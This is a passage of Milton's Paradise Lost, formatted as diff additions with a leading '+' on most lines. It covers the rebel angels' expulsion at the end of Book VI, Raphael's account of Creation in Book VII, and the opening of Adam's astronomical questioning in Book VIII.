within wheel undrawn, +Itself instinct with Spirit, but convoyed +By four Cherubick shapes; four faces each +Had wonderous; as with stars, their bodies all +And wings were set with eyes; with eyes the wheels +Of beryl, and careering fires between; +Over their heads a crystal firmament, +Whereon a sapphire throne, inlaid with pure +Amber, and colours of the showery arch. +He, in celestial panoply all armed +Of radiant Urim, work divinely wrought, +Ascended; at his right hand Victory +Sat eagle-winged; beside him hung his bow +And quiver with three-bolted thunder stored; +And from about him fierce effusion rolled +Of smoke, and bickering flame, and sparkles dire: +Attended with ten thousand thousand Saints, +He onward came; far off his coming shone; +And twenty thousand (I their number heard) +Chariots of God, half on each hand, were seen; +He on the wings of Cherub rode sublime +On the crystalline sky, in sapphire throned, +Illustrious far and wide; but by his own +First seen: Them unexpected joy surprised, +When the great ensign of Messiah blazed +Aloft by Angels borne, his sign in Heaven; +Under whose conduct Michael soon reduced +His army, circumfused on either wing, +Under their Head imbodied all in one. +Before him Power Divine his way prepared; +At his command the uprooted hills retired +Each to his place; they heard his voice, and went +Obsequious; Heaven his wonted face renewed, +And with fresh flowerets hill and valley smiled. +This saw his hapless foes, but stood obdured, +And to rebellious fight rallied their Powers, +Insensate, hope conceiving from despair. +In heavenly Spirits could such perverseness dwell? +But to convince the proud what signs avail, +Or wonders move the obdurate to relent? +They, hardened more by what might most reclaim, +Grieving to see his glory, at the sight +Took envy; and, aspiring to his highth, +Stood re-embattled fierce, by force or fraud +Weening to prosper, and at length prevail +Against God and Messiah, or to fall +In universal ruin last; and now +To final battle drew, disdaining flight, +Or faint retreat; when the great Son of God +To all his host on either hand thus spake. +Stand still in bright array, ye Saints; here stand, +Ye Angels armed; this day from battle rest: +Faithful hath been your warfare, and of God +Accepted, fearless in his righteous cause; +And as ye have received, so have ye done, +Invincibly: But of this cursed crew +The punishment to other hand belongs; +Vengeance is his, or whose he sole appoints: +Number to this day's work is not ordained, +Nor multitude; stand only, and behold +God's indignation on these godless poured +By me; not you, but me, they have despised, +Yet envied; against me is all their rage, +Because the Father, to whom in Heaven s'preme +Kingdom, and power, and glory appertains, +Hath honoured me, according to his will. +Therefore to me their doom he hath assigned; +That they may have their wish, to try with me +In battle which the stronger proves; they all, +Or I alone against them; since by strength +They measure all, of other excellence +Not emulous, nor care who them excels; +Nor other strife with them do I vouchsafe. +So spake the Son, and into terrour changed +His countenance too severe to be beheld, +And full of wrath bent on his enemies. +At once the Four spread out their starry wings +With dreadful shade contiguous, and the orbs +Of his fierce chariot rolled, as with the sound +Of torrent floods, or of a numerous host. +He on his impious foes right onward drove, +Gloomy as night; under his burning wheels +The stedfast empyrean shook throughout, +All but the throne itself of God. Full soon +Among them he arrived; in his right hand +Grasping ten thousand thunders, which he sent +Before him, such as in their souls infixed +Plagues: They, astonished, all resistance lost, +All courage; down their idle weapons dropt: +O'er shields, and helms, and helmed heads he rode +Of Thrones and mighty Seraphim prostrate, +That wished the mountains now might be again +Thrown on them, as a shelter from his ire. +Nor less on either side tempestuous fell +His arrows, from the fourfold-visaged Four +Distinct with eyes, and from the living wheels +Distinct alike with multitude of eyes; +One Spirit in them ruled; and every eye +Glared lightning, and shot forth pernicious fire +Among the accursed, that withered all their strength, +And of their wonted vigour left them drained, +Exhausted, spiritless, afflicted, fallen. +Yet half his strength he put not forth, but checked +His thunder in mid volley; for he meant +Not to destroy, but root them out of Heaven: +The overthrown he raised, and as a herd +Of goats or timorous flock together thronged +Drove them before him thunder-struck, pursued +With terrours, and with furies, to the bounds +And crystal wall of Heaven; which, opening wide, +Rolled inward, and a spacious gap disclosed +Into the wasteful deep: The monstrous sight +Struck them with horrour backward, but far worse +Urged them behind: Headlong themselves they threw +Down from the verge of Heaven; eternal wrath +Burnt after them to the bottomless pit. +Hell heard the unsufferable noise, Hell saw +Heaven ruining from Heaven, and would have fled +Affrighted; but strict Fate had cast too deep +Her dark foundations, and too fast had bound. +Nine days they fell: Confounded Chaos roared, +And felt tenfold confusion in their fall +Through his wild anarchy, so huge a rout +Incumbered him with ruin: Hell at last +Yawning received them whole, and on them closed; +Hell, their fit habitation, fraught with fire +Unquenchable, the house of woe and pain. +Disburdened Heaven rejoiced, and soon repaired +Her mural breach, returning whence it rolled. +Sole victor, from the expulsion of his foes, +Messiah his triumphal chariot turned: +To meet him all his Saints, who silent stood +Eye-witnesses of his almighty acts, +With jubilee advanced; and, as they went, +Shaded with branching palm, each Order bright, +Sung triumph, and him sung victorious King, +Son, Heir, and Lord, to him dominion given, +Worthiest to reign: He, celebrated, rode +Triumphant through mid Heaven, into the courts +And temple of his Mighty Father throned +On high; who into glory him received, +Where now he sits at the right hand of bliss. +Thus, measuring things in Heaven by things on Earth, +At thy request, and that thou mayest beware +By what is past, to thee I have revealed +What might have else to human race been hid; +The discord which befel, and war in Heaven +Among the angelick Powers, and the deep fall +Of those too high aspiring, who rebelled +With Satan; he who envies now thy state, +Who now is plotting how he may seduce +Thee also from obedience, that, with him +Bereaved of happiness, thou mayest partake +His punishment, eternal misery; +Which would be all his solace and revenge, +As a despite done against the Most High, +Thee once to gain companion of his woe. +But listen not to his temptations, warn +Thy weaker; let it profit thee to have heard, +By terrible example, the reward +Of disobedience; firm they might have stood, +Yet fell; remember, and fear to transgress. + + + +Book VII + + +Descend from Heaven, Urania, by that name +If rightly thou art called, whose voice divine +Following, above the Olympian hill I soar, +Above the flight of Pegasean wing! +The meaning, not the name, I call: for thou +Nor of the Muses nine, nor on the top +Of old Olympus dwellest; but, heavenly-born, +Before the hills appeared, or fountain flowed, +Thou with eternal Wisdom didst converse, +Wisdom thy sister, and with her didst play +In presence of the Almighty Father, pleased +With thy celestial song. Up led by thee +Into the Heaven of Heavens I have presumed, +An earthly guest, and drawn empyreal air, +Thy tempering: with like safety guided down +Return me to my native element: +Lest from this flying steed unreined, (as once +Bellerophon, though from a lower clime,) +Dismounted, on the Aleian field I fall, +Erroneous there to wander, and forlorn. +Half yet remains unsung, but narrower bound +Within the visible diurnal sphere; +Standing on earth, not rapt above the pole, +More safe I sing with mortal voice, unchanged +To hoarse or mute, though fallen on evil days, +On evil days though fallen, and evil tongues; +In darkness, and with dangers compassed round, +And solitude; yet not alone, while thou +Visitest my slumbers nightly, or when morn +Purples the east: still govern thou my song, +Urania, and fit audience find, though few. +But drive far off the barbarous dissonance +Of Bacchus and his revellers, the race +Of that wild rout that tore the Thracian bard +In Rhodope, where woods and rocks had ears +To rapture, till the savage clamour drowned +Both harp and voice; nor could the Muse defend +Her son. So fail not thou, who thee implores: +For thou art heavenly, she an empty dream. +Say, Goddess, what ensued when Raphael, +The affable Arch-Angel, had forewarned +Adam, by dire example, to beware +Apostasy, by what befel in Heaven +To those apostates; lest the like befall +In Paradise to Adam or his race, +Charged not to touch the interdicted tree, +If they transgress, and slight that sole command, +So easily obeyed amid the choice +Of all tastes else to please their appetite, +Though wandering. He, with his consorted Eve, +The story heard attentive, and was filled +With admiration and deep muse, to hear +Of things so high and strange; things, to their thought +So unimaginable, as hate in Heaven, +And war so near the peace of God in bliss, +With such confusion: but the evil, soon +Driven back, redounded as a flood on those +From whom it sprung; impossible to mix +With blessedness. Whence Adam soon repealed +The doubts that in his heart arose: and now +Led on, yet sinless, with desire to know +What nearer might concern him, how this world +Of Heaven and Earth conspicuous first began; +When, and whereof created; for what cause; +What within Eden, or without, was done +Before his memory; as one whose drouth +Yet scarce allayed still eyes the current stream, +Whose liquid murmur heard new thirst excites, +Proceeded thus to ask his heavenly guest. +Great things, and full of wonder in our ears, +Far differing from this world, thou hast revealed, +Divine interpreter! by favour sent +Down from the empyrean, to forewarn +Us timely of what might else have been our loss, +Unknown, which human knowledge could not reach; +For which to the infinitely Good we owe +Immortal thanks, and his admonishment +Receive, with solemn purpose to observe +Immutably his sovran will, the end +Of what we are. But since thou hast vouchsafed +Gently, for our instruction, to impart +Things above earthly thought, which yet concerned +Our knowing, as to highest wisdom seemed, +Deign to descend now lower, and relate +What may no less perhaps avail us known, +How first began this Heaven which we behold +Distant so high, with moving fires adorned +Innumerable; and this which yields or fills +All space, the ambient air wide interfused +Embracing round this floried Earth; what cause +Moved the Creator, in his holy rest +Through all eternity, so late to build +In Chaos; and the work begun, how soon +Absolved; if unforbid thou mayest unfold +What we, not to explore the secrets ask +Of his eternal empire, but the more +To magnify his works, the more we know. +And the great light of day yet wants to run +Much of his race though steep; suspense in Heaven, +Held by thy voice, thy potent voice, he hears, +And longer will delay to hear thee tell +His generation, and the rising birth +Of Nature from the unapparent Deep: +Or if the star of evening and the moon +Haste to thy audience, Night with her will bring, +Silence; and Sleep, listening to thee, will watch; +Or we can bid his absence, till thy song +End, and dismiss thee ere the morning shine. +Thus Adam his illustrious guest besought: +And thus the Godlike Angel answered mild. +This also thy request, with caution asked, +Obtain; though to recount almighty works +What words or tongue of Seraph can suffice, +Or heart of man suffice to comprehend? +Yet what thou canst attain, which best may serve +To glorify the Maker, and infer +Thee also happier, shall not be withheld +Thy hearing; such commission from above +I have received, to answer thy desire +Of knowledge within bounds; beyond, abstain +To ask; nor let thine own inventions hope +Things not revealed, which the invisible King, +Only Omniscient, hath suppressed in night; +To none communicable in Earth or Heaven: +Enough is left besides to search and know. +But knowledge is as food, and needs no less +Her temperance over appetite, to know +In measure what the mind may well contain; +Oppresses else with surfeit, and soon turns +Wisdom to folly, as nourishment to wind. +Know then, that, after Lucifer from Heaven +(So call him, brighter once amidst the host +Of Angels, than that star the stars among,) +Fell with his flaming legions through the deep +Into his place, and the great Son returned +Victorious with his Saints, the Omnipotent +Eternal Father from his throne beheld +Their multitude, and to his Son thus spake. +At least our envious Foe hath failed, who thought +All like himself rebellious, by whose aid +This inaccessible high strength, the seat +Of Deity supreme, us dispossessed, +He trusted to have seised, and into fraud +Drew many, whom their place knows here no more: +Yet far the greater part have kept, I see, +Their station; Heaven, yet populous, retains +Number sufficient to possess her realms +Though wide, and this high temple to frequent +With ministeries due, and solemn rites: +But, lest his heart exalt him in the harm +Already done, to have dispeopled Heaven, +My damage fondly deemed, I can repair +That detriment, if such it be to lose +Self-lost; and in a moment will create +Another world, out of one man a race +Of men innumerable, there to dwell, +Not here; till, by degrees of merit raised, +They open to themselves at length the way +Up hither, under long obedience tried; +And Earth be changed to Heaven, and Heaven to Earth, +One kingdom, joy and union without end. +Mean while inhabit lax, ye Powers of Heaven; +And thou my Word, begotten Son, by thee +This I perform; speak thou, and be it done! +My overshadowing Spirit and Might with thee +I send along; ride forth, and bid the Deep +Within appointed bounds be Heaven and Earth; +Boundless the Deep, because I Am who fill +Infinitude, nor vacuous the space. +Though I, uncircumscribed myself, retire, +And put not forth my goodness, which is free +To act or not, Necessity and Chance +Approach not me, and what I will is Fate. +So spake the Almighty, and to what he spake +His Word, the Filial Godhead, gave effect. +Immediate are the acts of God, more swift +Than time or motion, but to human ears +Cannot without process of speech be told, +So told as earthly notion can receive. +Great triumph and rejoicing was in Heaven, +When such was heard declared the Almighty's will; +Glory they sung to the Most High, good will +To future men, and in their dwellings peace; +Glory to Him, whose just avenging ire +Had driven out the ungodly from his sight +And the habitations of the just; to Him +Glory and praise, whose wisdom had ordained +Good out of evil to create; instead +Of Spirits malign, a better race to bring +Into their vacant room, and thence diffuse +His good to worlds and ages infinite. +So sang the Hierarchies: Mean while the Son +On his great expedition now appeared, +Girt with Omnipotence, with radiance crowned +Of Majesty Divine; sapience and love +Immense, and all his Father in him shone. +About his chariot numberless were poured +Cherub, and Seraph, Potentates, and Thrones, +And Virtues, winged Spirits, and chariots winged +From the armoury of God; where stand of old +Myriads, between two brazen mountains lodged +Against a solemn day, harnessed at hand, +Celestial equipage; and now came forth +Spontaneous, for within them Spirit lived, +Attendant on their Lord: Heaven opened wide +Her ever-during gates, harmonious sound +On golden hinges moving, to let forth +The King of Glory, in his powerful Word +And Spirit, coming to create new worlds. +On heavenly ground they stood; and from the shore +They viewed the vast immeasurable abyss +Outrageous as a sea, dark, wasteful, wild, +Up from the bottom turned by furious winds +And surging waves, as mountains, to assault +Heaven's highth, and with the center mix the pole. +Silence, ye troubled Waves, and thou Deep, peace, +Said then the Omnifick Word; your discord end! +Nor staid; but, on the wings of Cherubim +Uplifted, in paternal glory rode +Far into Chaos, and the world unborn; +For Chaos heard his voice: Him all his train +Followed in bright procession, to behold +Creation, and the wonders of his might. +Then staid the fervid wheels, and in his hand +He took the golden compasses, prepared +In God's eternal store, to circumscribe +This universe, and all created things: +One foot he centered, and the other turned +Round through the vast profundity obscure; +And said, Thus far extend, thus far thy bounds, +This be thy just circumference, O World! +Thus God the Heaven created, thus the Earth, +Matter unformed and void: Darkness profound +Covered the abyss: but on the watery calm +His brooding wings the Spirit of God outspread, +And vital virtue infused, and vital warmth +Throughout the fluid mass; but downward purged +The black tartareous cold infernal dregs, +Adverse to life: then founded, then conglobed +Like things to like; the rest to several place +Disparted, and between spun out the air; +And Earth self-balanced on her center hung. +Let there be light, said God; and forthwith Light +Ethereal, first of things, quintessence pure, +Sprung from the deep; and from her native east +To journey through the aery gloom began, +Sphered in a radiant cloud, for yet the sun +Was not; she in a cloudy tabernacle +Sojourned the while. God saw the light was good; +And light from darkness by the hemisphere +Divided: light the Day, and darkness Night, +He named. Thus was the first day even and morn: +Nor past uncelebrated, nor unsung +By the celestial quires, when orient light +Exhaling first from darkness they beheld; +Birth-day of Heaven and Earth; with joy and shout +The hollow universal orb they filled, +And touched their golden harps, and hymning praised +God and his works; Creator him they sung, +Both when first evening was, and when first morn. +Again, God said, Let there be firmament +Amid the waters, and let it divide +The waters from the waters; and God made +The firmament, expanse of liquid, pure, +Transparent, elemental air, diffused +In circuit to the uttermost convex +Of this great round; partition firm and sure, +The waters underneath from those above +Dividing: for as earth, so he the world +Built on circumfluous waters calm, in wide +Crystalline ocean, and the loud misrule +Of Chaos far removed; lest fierce extremes +Contiguous might distemper the whole frame: +And Heaven he named the Firmament: So even +And morning chorus sung the second day. +The Earth was formed, but in the womb as yet +Of waters, embryon immature involved, +Appeared not: over all the face of Earth +Main ocean flowed, not idle; but, with warm +Prolifick humour softening all her globe, +Fermented the great mother to conceive, +Satiate with genial moisture; when God said, +Be gathered now ye waters under Heaven +Into one place, and let dry land appear. +Immediately the mountains huge appear +Emergent, and their broad bare backs upheave +Into the clouds; their tops ascend the sky: +So high as heaved the tumid hills, so low +Down sunk a hollow bottom broad and deep, +Capacious bed of waters: Thither they +Hasted with glad precipitance, uprolled, +As drops on dust conglobing from the dry: +Part rise in crystal wall, or ridge direct, +For haste; such flight the great command impressed +On the swift floods: As armies at the call +Of trumpet (for of armies thou hast heard) +Troop to their standard; so the watery throng, +Wave rolling after wave, where way they found, +If steep, with torrent rapture, if through plain, +Soft-ebbing; nor withstood them rock or hill; +But they, or under ground, or circuit wide +With serpent errour wandering, found their way, +And on the washy oose deep channels wore; +Easy, ere God had bid the ground be dry, +All but within those banks, where rivers now +Stream, and perpetual draw their humid train. +The dry land, Earth; and the great receptacle +Of congregated waters, he called Seas: +And saw that it was good; and said, Let the Earth +Put forth the verdant grass, herb yielding seed, +And fruit-tree yielding fruit after her kind, +Whose seed is in herself upon the Earth. +He scarce had said, when the bare Earth, till then +Desart and bare, unsightly, unadorned, +Brought forth the tender grass, whose verdure clad +Her universal face with pleasant green; +Then herbs of every leaf, that sudden flowered +Opening their various colours, and made gay +Her bosom, smelling sweet: and, these scarce blown, +Forth flourished thick the clustering vine, forth crept +The swelling gourd, up stood the corny reed +Embattled in her field, and the humble shrub, +And bush with frizzled hair implicit: Last +Rose, as in dance, the stately trees, and spread +Their branches hung with copious fruit, or gemmed +Their blossoms: With high woods the hills were crowned; +With tufts the valleys, and each fountain side; +With borders long the rivers: that Earth now +Seemed like to Heaven, a seat where Gods might dwell, +Or wander with delight, and love to haunt +Her sacred shades: though God had yet not rained +Upon the Earth, and man to till the ground +None was; but from the Earth a dewy mist +Went up, and watered all the ground, and each +Plant of the field; which, ere it was in the Earth, +God made, and every herb, before it grew +On the green stem: God saw that it was good: +So even and morn recorded the third day. +Again the Almighty spake, Let there be lights +High in the expanse of Heaven, to divide +The day from night; and let them be for signs, +For seasons, and for days, and circling years; +And let them be for lights, as I ordain +Their office in the firmament of Heaven, +To give light on the Earth; and it was so. +And God made two great lights, great for their use +To Man, the greater to have rule by day, +The less by night, altern; and made the stars, +And set them in the firmament of Heaven +To illuminate the Earth, and rule the day +In their vicissitude, and rule the night, +And light from darkness to divide. God saw, +Surveying his great work, that it was good: +For of celestial bodies first the sun +A mighty sphere he framed, unlightsome first, +Though of ethereal mould: then formed the moon +Globose, and every magnitude of stars, +And sowed with stars the Heaven, thick as a field: +Of light by far the greater part he took, +Transplanted from her cloudy shrine, and placed +In the sun's orb, made porous to receive +And drink the liquid light; firm to retain +Her gathered beams, great palace now of light. +Hither, as to their fountain, other stars +Repairing, in their golden urns draw light, +And hence the morning-planet gilds her horns; +By tincture or reflection they augment +Their small peculiar, though from human sight +So far remote, with diminution seen, +First in his east the glorious lamp was seen, +Regent of day, and all the horizon round +Invested with bright rays, jocund to run +His longitude through Heaven's high road; the gray +Dawn, and the Pleiades, before him danced, +Shedding sweet influence: Less bright the moon, +But opposite in levelled west was set, +His mirrour, with full face borrowing her light +From him; for other light she needed none +In that aspect, and still that distance keeps +Till night; then in the east her turn she shines, +Revolved on Heaven's great axle, and her reign +With thousand lesser lights dividual holds, +With thousand thousand stars, that then appeared +Spangling the hemisphere: Then first adorned +With their bright luminaries that set and rose, +Glad evening and glad morn crowned the fourth day. +And God said, Let the waters generate +Reptile with spawn abundant, living soul: +And let fowl fly above the Earth, with wings +Displayed on the open firmament of Heaven. +And God created the great whales, and each +Soul living, each that crept, which plenteously +The waters generated by their kinds; +And every bird of wing after his kind; +And saw that it was good, and blessed them, saying. +Be fruitful, multiply, and in the seas, +And lakes, and running streams, the waters fill; +And let the fowl be multiplied, on the Earth. +Forthwith the sounds and seas, each creek and bay, +With fry innumerable swarm, and shoals +Of fish that with their fins, and shining scales, +Glide under the green wave, in sculls that oft +Bank the mid sea: part single, or with mate, +Graze the sea-weed their pasture, and through groves +Of coral stray; or, sporting with quick glance, +Show to the sun their waved coats dropt with gold; +Or, in their pearly shells at ease, attend +Moist nutriment; or under rocks their food +In jointed armour watch: on smooth the seal +And bended dolphins play: part huge of bulk +Wallowing unwieldy, enormous in their gait, +Tempest the ocean: there leviathan, +Hugest of living creatures, on the deep +Stretched like a promontory sleeps or swims, +And seems a moving land; and at his gills +Draws in, and at his trunk spouts out, a sea. +Mean while the tepid caves, and fens, and shores, +Their brood as numerous hatch, from the egg that soon +Bursting with kindly rupture forth disclosed +Their callow young; but feathered soon and fledge +They summed their pens; and, soaring the air sublime, +With clang despised the ground, under a cloud +In prospect; there the eagle and the stork +On cliffs and cedar tops their eyries build: +Part loosely wing the region, part more wise +In common, ranged in figure, wedge their way, +Intelligent of seasons, and set forth +Their aery caravan, high over seas +Flying, and over lands, with mutual wing +Easing their flight; so steers the prudent crane +Her annual voyage, borne on winds; the air +Floats as they pass, fanned with unnumbered plumes: +From branch to branch the smaller birds with song +Solaced the woods, and spread their painted wings +Till even; nor then the solemn nightingale +Ceased warbling, but all night tun'd her soft lays: +Others, on silver lakes and rivers, bathed +Their downy breast; the swan with arched neck, +Between her white wings mantling proudly, rows +Her state with oary feet; yet oft they quit +The dank, and, rising on stiff pennons, tower +The mid aereal sky: Others on ground +Walked firm; the crested cock whose clarion sounds +The silent hours, and the other whose gay train +Adorns him, coloured with the florid hue +Of rainbows and starry eyes. The waters thus +With fish replenished, and the air with fowl, +Evening and morn solemnized the fifth day. +The sixth, and of creation last, arose +With evening harps and matin; when God said, +Let the Earth bring forth soul living in her kind, +Cattle, and creeping things, and beast of the Earth, +Each in their kind. The Earth obeyed, and straight +Opening her fertile womb teemed at a birth +Innumerous living creatures, perfect forms, +Limbed and full grown: Out of the ground up rose, +As from his lair, the wild beast where he wons +In forest wild, in thicket, brake, or den; +Among the trees in pairs they rose, they walked: +The cattle in the fields and meadows green: +Those rare and solitary, these in flocks +Pasturing at once, and in broad herds upsprung. +The grassy clods now calved; now half appeared +The tawny lion, pawing to get free +His hinder parts, then springs as broke from bonds, +And rampant shakes his brinded mane; the ounce, +The libbard, and the tiger, as the mole +Rising, the crumbled earth above them threw +In hillocks: The swift stag from under ground +Bore up his branching head: Scarce from his mould +Behemoth biggest born of earth upheaved +His vastness: Fleeced the flocks and bleating rose, +As plants: Ambiguous between sea and land +The river-horse, and scaly crocodile. +At once came forth whatever creeps the ground, +Insect or worm: those waved their limber fans +For wings, and smallest lineaments exact +In all the liveries decked of summer's pride +With spots of gold and purple, azure and green: +These, as a line, their long dimension drew, +Streaking the ground with sinuous trace; not all +Minims of nature; some of serpent-kind, +Wonderous in length and corpulence, involved +Their snaky folds, and added wings. First crept +The parsimonious emmet, provident +Of future; in small room large heart enclosed; +Pattern of just equality perhaps +Hereafter, joined in her popular tribes +Of commonalty: Swarming next appeared +The female bee, that feeds her husband drone +Deliciously, and builds her waxen cells +With honey stored: The rest are numberless, +And thou their natures knowest, and gavest them names, +Needless to thee repeated; nor unknown +The serpent, subtlest beast of all the field, +Of huge extent sometimes, with brazen eyes +And hairy mane terrifick, though to thee +Not noxious, but obedient at thy call. +Now Heaven in all her glory shone, and rolled +Her motions, as the great first Mover's hand +First wheeled their course: Earth in her rich attire +Consummate lovely smiled; air, water, earth, +By fowl, fish, beast, was flown, was swum, was walked, +Frequent; and of the sixth day yet remained: +There wanted yet the master-work, the end +Of all yet done; a creature, who, not prone +And brute as other creatures, but endued +With sanctity of reason, might erect +His stature, and upright with front serene +Govern the rest, self-knowing; and from thence +Magnanimous to correspond with Heaven, +But grateful to acknowledge whence his good +Descends, thither with heart, and voice, and eyes +Directed in devotion, to adore +And worship God Supreme, who made him chief +Of all his works: therefore the Omnipotent +Eternal Father (for where is not he +Present?) thus to his Son audibly spake. +Let us make now Man in our image, Man +In our similitude, and let them rule +Over the fish and fowl of sea and air, +Beast of the field, and over all the Earth, +And every creeping thing that creeps the ground. +This said, he formed thee, Adam, thee, O Man, +Dust of the ground, and in thy nostrils breathed +The breath of life; in his own image he +Created thee, in the image of God +Express; and thou becamest a living soul. +Male he created thee; but thy consort +Female, for race; then blessed mankind, and said, +Be fruitful, multiply, and fill the Earth; +Subdue it, and throughout dominion hold +Over fish of the sea, and fowl of the air, +And every living thing that moves on the Earth. +Wherever thus created, for no place +Is yet distinct by name, thence, as thou knowest, +He brought thee into this delicious grove, +This garden, planted with the trees of God, +Delectable both to behold and taste; +And freely all their pleasant fruit for food +Gave thee; all sorts are here that all the Earth yields, +Variety without end; but of the tree, +Which, tasted, works knowledge of good and evil, +Thou mayest not; in the day thou eatest, thou diest; +Death is the penalty imposed; beware, +And govern well thy appetite; lest Sin +Surprise thee, and her black attendant Death. +Here finished he, and all that he had made +Viewed, and behold all was entirely good; +So even and morn accomplished the sixth day: +Yet not till the Creator from his work +Desisting, though unwearied, up returned, +Up to the Heaven of Heavens, his high abode; +Thence to behold this new created world, +The addition of his empire, how it showed +In prospect from his throne, how good, how fair, +Answering his great idea. Up he rode +Followed with acclamation, and the sound +Symphonious of ten thousand harps, that tuned +Angelick harmonies: The earth, the air +Resounded, (thou rememberest, for thou heardst,) +The heavens and all the constellations rung, +The planets in their station listening stood, +While the bright pomp ascended jubilant. +Open, ye everlasting gates! they sung, +Open, ye Heavens! your living doors;let in +The great Creator from his work returned +Magnificent, his six days work, a World; +Open, and henceforth oft; for God will deign +To visit oft the dwellings of just men, +Delighted; and with frequent intercourse +Thither will send his winged messengers +On errands of supernal grace. So sung +The glorious train ascending: He through Heaven, +That opened wide her blazing portals, led +To God's eternal house direct the way; +A broad and ample road, whose dust is gold +And pavement stars, as stars to thee appear, +Seen in the galaxy, that milky way, +Which nightly, as a circling zone, thou seest +Powdered with stars. And now on Earth the seventh +Evening arose in Eden, for the sun +Was set, and twilight from the east came on, +Forerunning night; when at the holy mount +Of Heaven's high-seated top, the imperial throne +Of Godhead, fixed for ever firm and sure, +The Filial Power arrived, and sat him down +With his great Father; for he also went +Invisible, yet staid, (such privilege +Hath Omnipresence) and the work ordained, +Author and End of all things; and, from work +Now resting, blessed and hallowed the seventh day, +As resting on that day from all his work, +But not in silence holy kept: the harp +Had work and rested not; the solemn pipe, +And dulcimer, all organs of sweet stop, +All sounds on fret by string or golden wire, +Tempered soft tunings, intermixed with voice +Choral or unison: of incense clouds, +Fuming from golden censers, hid the mount. +Creation and the six days acts they sung: +Great are thy works, Jehovah! infinite +Thy power! what thought can measure thee, or tongue +Relate thee! Greater now in thy return +Than from the giant Angels: Thee that day +Thy thunders magnified; but to create +Is greater than created to destroy. +Who can impair thee, Mighty King, or bound +Thy empire! Easily the proud attempt +Of Spirits apostate, and their counsels vain, +Thou hast repelled; while impiously they thought +Thee to diminish, and from thee withdraw +The number of thy worshippers. Who seeks +To lessen thee, against his purpose serves +To manifest the more thy might: his evil +Thou usest, and from thence createst more good. +Witness this new-made world, another Heaven +From Heaven-gate not far, founded in view +On the clear hyaline, the glassy sea; +Of amplitude almost immense, with stars +Numerous, and every star perhaps a world +Of destined habitation; but thou knowest +Their seasons: among these the seat of Men, +Earth, with her nether ocean circumfused, +Their pleasant dwelling-place. Thrice happy Men, +And sons of Men, whom God hath thus advanced! +Created in his image, there to dwell +And worship him; and in reward to rule +Over his works, on earth, in sea, or air, +And multiply a race of worshippers +Holy and just: Thrice happy, if they know +Their happiness, and persevere upright! +So sung they, and the empyrean rung +With halleluiahs: Thus was sabbath kept. +And thy request think now fulfilled, that asked +How first this world and face of things began, +And what before thy memory was done +From the beginning; that posterity, +Informed by thee, might know: If else thou seekest +Aught, not surpassing human measure, say. + + + +Book VIII + + +The Angel ended, and in Adam's ear +So charming left his voice, that he a while +Thought him still speaking, still stood fixed to hear; +Then, as new waked, thus gratefully replied. +What thanks sufficient, or what recompence +Equal, have I to render thee, divine +Historian, who thus largely hast allayed +The thirst I had of knowledge, and vouchsafed +This friendly condescension to relate +Things, else by me unsearchable; now heard +With wonder, but delight, and, as is due, +With glory attributed to the high +Creator! Something yet of doubt remains, +Which only thy solution can resolve. +When I behold this goodly frame, this world, +Of Heaven and Earth consisting; and compute +Their magnitudes; this Earth, a spot, a grain, +An atom, with the firmament compared +And all her numbered stars, that seem to roll +Spaces incomprehensible, (for such +Their distance argues, and their swift return +Diurnal,) merely to officiate light +Round this opacous Earth, this punctual spot, +One day and night; in all her vast survey +Useless besides; reasoning I oft admire, +How Nature wise and frugal could commit +Such disproportions, with superfluous hand +So many nobler bodies to create, +Greater so manifold, to this one use, +For aught appears, and on their orbs impose +Such restless revolution day by day +Repeated; while the sedentary Earth, +That better might with far less compass move, +Served by more noble than herself, attains +Her end without least motion, and receives, +As tribute, such a sumless journey brought +Of incorporeal speed, her warmth and light; +Speed, to describe whose swiftness number fails. +So spake our sire, and by his countenance seemed +Entering on studious thoughts abstruse; which Eve +Perceiving, where she sat retired in sight, +With lowliness majestick from her seat, +And grace that won who saw to wish her stay, +Rose, and went forth among her fruits and flowers, +To visit how they prospered, bud and bloom, +Her nursery; they at her coming sprung, +And, touched by her fair tendance, gladlier grew. +Yet went she not, as not with such discourse +Delighted, or not capable her ear +Of what was high: such pleasure she reserved, +Adam relating, she sole auditress; +Her husband the relater she preferred +Before the Angel, and of him to ask +Chose rather; he, she knew, would intermix +Grateful digressions, and solve high dispute +With conjugal caresses: from his lip +Not words alone pleased her. O! when meet now +Such pairs, in love and mutual honour joined? +With Goddess-like demeanour forth she went, +Not unattended; for on her, as Queen, +A pomp of winning Graces waited still, +And from about her shot darts of desire +Into all eyes, to wish her still in sight. +And Raphael now, to Adam's doubt proposed, +Benevolent and facile thus replied. +To ask or search, I blame thee not; for Heaven +Is as the book of God before thee set, +Wherein to read his wonderous works, and learn +His seasons, hours, or days, or months, or years: +This to attain, whether Heaven move or Earth, +Imports not, if thou reckon right; the rest +From Man or Angel the great Architect +Did wisely to conceal, and not divulge +His secrets to be scanned by them who ought +Rather admire; or, if they list to try +Conjecture, he his fabrick of the Heavens +Hath left to their disputes, perhaps to move +His laughter at their quaint opinions wide +Hereafter; when they come to model Heaven +And calculate the stars, how they will wield +The mighty frame; how build, unbuild, contrive +To save appearances; how gird the sphere +With centrick and eccentrick scribbled o'er, +Cycle and epicycle, orb in orb: +Already by thy reasoning this I guess, +Who art to lead thy offspring, and supposest +That bodies bright and greater should not serve +The less not bright, nor Heaven such journeys run, +Earth sitting still, when she alone receives +The benefit: Consider first, that great +Or bright infers not excellence: the Earth +Though, in comparison of Heaven, so small, +Nor glistering, may of solid good contain +More plenty than the sun that barren shines; +Whose virtue on itself works no effect, +But in the fruitful Earth; there first received, +His beams, unactive else, their vigour find. +Yet not to Earth are those bright luminaries +Officious; but to thee, Earth's habitant. +And for the Heaven's wide circuit, let it speak +The Maker's high magnificence, who built +So spacious, and his line stretched out so far; +That Man may know he dwells not in his own; +An edifice too large for him to fill, +Lodged in a small partition; and the rest +Ordained for uses to his Lord best known. +The swiftness of those circles attribute, +Though numberless, to his Omnipotence, +That to corporeal substances could add +Speed almost spiritual: Me thou thinkest not slow, +Who since the morning-hour set out from Heaven +Where God resides, and ere mid-day arrived +In Eden; distance inexpressible +By numbers that have name. But this I urge, +Admitting motion in the Heavens, to show +Invalid that which thee to doubt it moved; +Not that I so affirm, though so it seem +To thee who hast thy dwelling here on Earth. +God, to remove his ways from human sense, +Placed Heaven from Earth so far, that earthly sight, +If it presume, might err in things too high, +And no advantage gain. What if the sun +Be center to the world; and other stars, +By his attractive virtue and their own +Incited, dance about him various rounds? +Their wandering course now high, now low, then hid, +Progressive, retrograde, or standing still, +In six thou seest; and what if seventh to these +The planet earth, so stedfast though she seem, +Insensibly three different motions move? +Which else to several spheres thou must ascribe, +Moved contrary 